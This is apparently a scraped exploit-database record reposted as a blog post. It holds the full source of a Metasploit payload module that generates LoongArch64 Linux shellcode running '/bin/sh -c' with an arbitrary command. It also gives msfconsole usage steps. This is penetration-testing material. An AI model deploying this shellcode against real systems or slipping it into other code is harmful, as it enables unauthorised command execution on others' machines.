{“lastseen”:”2026-06-29T19:36:56″,”description”:”Execute an arbitrary command. Module Options msf use payload\/linux\/loongarch64\/exec msf payloadexec show actions …actions… msf payloadexec set ACTION msf payloadexec show options …show and set options… msf payloadexec run…”,”published”:”2026-06-29T19:04:43″,”modified”:”2026-06-29T19:04:43″,”type”:”metasploit”,”title”:”Linux Execute Command”,”source”:””,”references”:””,”id”:”MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# frozen_string_literal: true\\n\\n##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nmodule MetasploitModule\\n CachedSize = 88\\n\\n include Msf::Payload::Single\\n include Msf::Payload::Linux\\n\\n def initialize(info = {})\\n super(\\n merge_info(\\n info,\\n ‘Name’ =\\u003e ‘Linux Execute Command’,\\n ‘Description’ =\\u003e ‘Execute an arbitrary command.’,\\n ‘Author’ =\\u003e [\\n ‘modexp’, # cmd.s execve RISC-V 64-bit shellcode\\n ‘bcoles’, # LoongArch64 port and metasploit module\\n ],\\n ‘License’ =\\u003e BSD_LICENSE,\\n ‘Platform’ =\\u003e ‘linux’,\\n ‘Arch’ =\\u003e ARCH_LOONGARCH64,\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/modexp.wordpress.com\/2022\/05\/02\/shellcode-risc-v-linux\/’],\\n [‘URL’, ‘https:\/\/github.com\/bcoles\/shellcode\/blob\/main\/loongarch64\/cmd\/cmd.s’],\\n ]\\n )\\n )\\n register_options([\\n OptString.new(‘CMD’, [ true, ‘The command string to execute’ ]),\\n ])\\n end\\n\\n #\\n # Returns the command string to use for execution\\n #\\n def command_string\\n datastore[‘CMD’] || ”\\n end\\n\\n def generate(_opts = {})\\n shellcode = [\\n 0x02ff0063, # addi.d $sp, $sp, -64\\n 0x0383740b, # ori $a7, $zero, 221 # __NR_execve\\n 0x14dcd2c4, # lu12i.w $a0, 452246\\n 0x0388bc84, # ori $a0, $a0, 0x22f\\n 0x170e65e4, # lu32i.d $a0, -494801\\n 0x03001884, # lu52i.d $a0, $a0, 6 # $a0 = 0x0068732f6e69622f = \\”\/bin\/sh\\\\0\\”\\n 0x29c00064, # st.d $a0, $sp, 0 # store \\”\/bin\/sh\\\\0\\” on the stack\\n 0x00150064, # or $a0, $sp, $zero # $a0 = pointer to \\”\/bin\/sh\\”\\n 0x140000c5, # lu12i.w $a1, 6\\n 0x038cb4a5, # ori $a1,$a1, 0x32d # $a1 = 0x632d = \\”-c\\\\0\\”\\n 0x29c02065, # st.d $a1, $sp, 8 # store \\”-c\\\\0\\” on the stack\\n 0x02c02065, # addi.d $a1, $sp, 8 # $a1 = pointer to \\”-c\\”\\n 0x18000106, # pcaddi $a2, 8 # $a2 = pointer to cmd string\\n 0x29c04064, # st.d $a0, $sp, 16 # argv[0] = \\”\/bin\/sh\\”\\n 0x29c06065, # st.d $a1, $sp, 24 # argv[1] = \\”-c\\”\\n 0x29c08066, # st.d $a2, $sp, 32 # argv[2] = cmd\\n 0x29c0a060, # st.d $zero, $sp, 40 # argv[3] = NULL\\n 0x02c04065, # addi.d $a1, $sp, 16 # $a1 = argv\\n 0x00150006, # or $a2, $zero, $zero # $a2 = NULL (envp)\\n 0x002b0101, # syscall 0x101\\n ].pack(‘V*’)\\n shellcode += command_string + \\”\\\\x00\\”.b\\n\\n # align our shellcode to 4 bytes\\n shellcode += \\”\\\\x00\\”.b while shellcode.bytesize % 4 != 0\\n\\n super.to_s + shellcode\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/payloads\/singles\/linux\/loongarch64\/exec.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/payload\/linux\/loongarch64\/exec\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-29T19:36:56″,”description”:”Execute an arbitrary command. Module Options msf use payload\/linux\/loongarch64\/exec msf payloadexec show actions …actions… msf payloadexec set ACTION msf payloadexec show options …show and set…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-66989","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n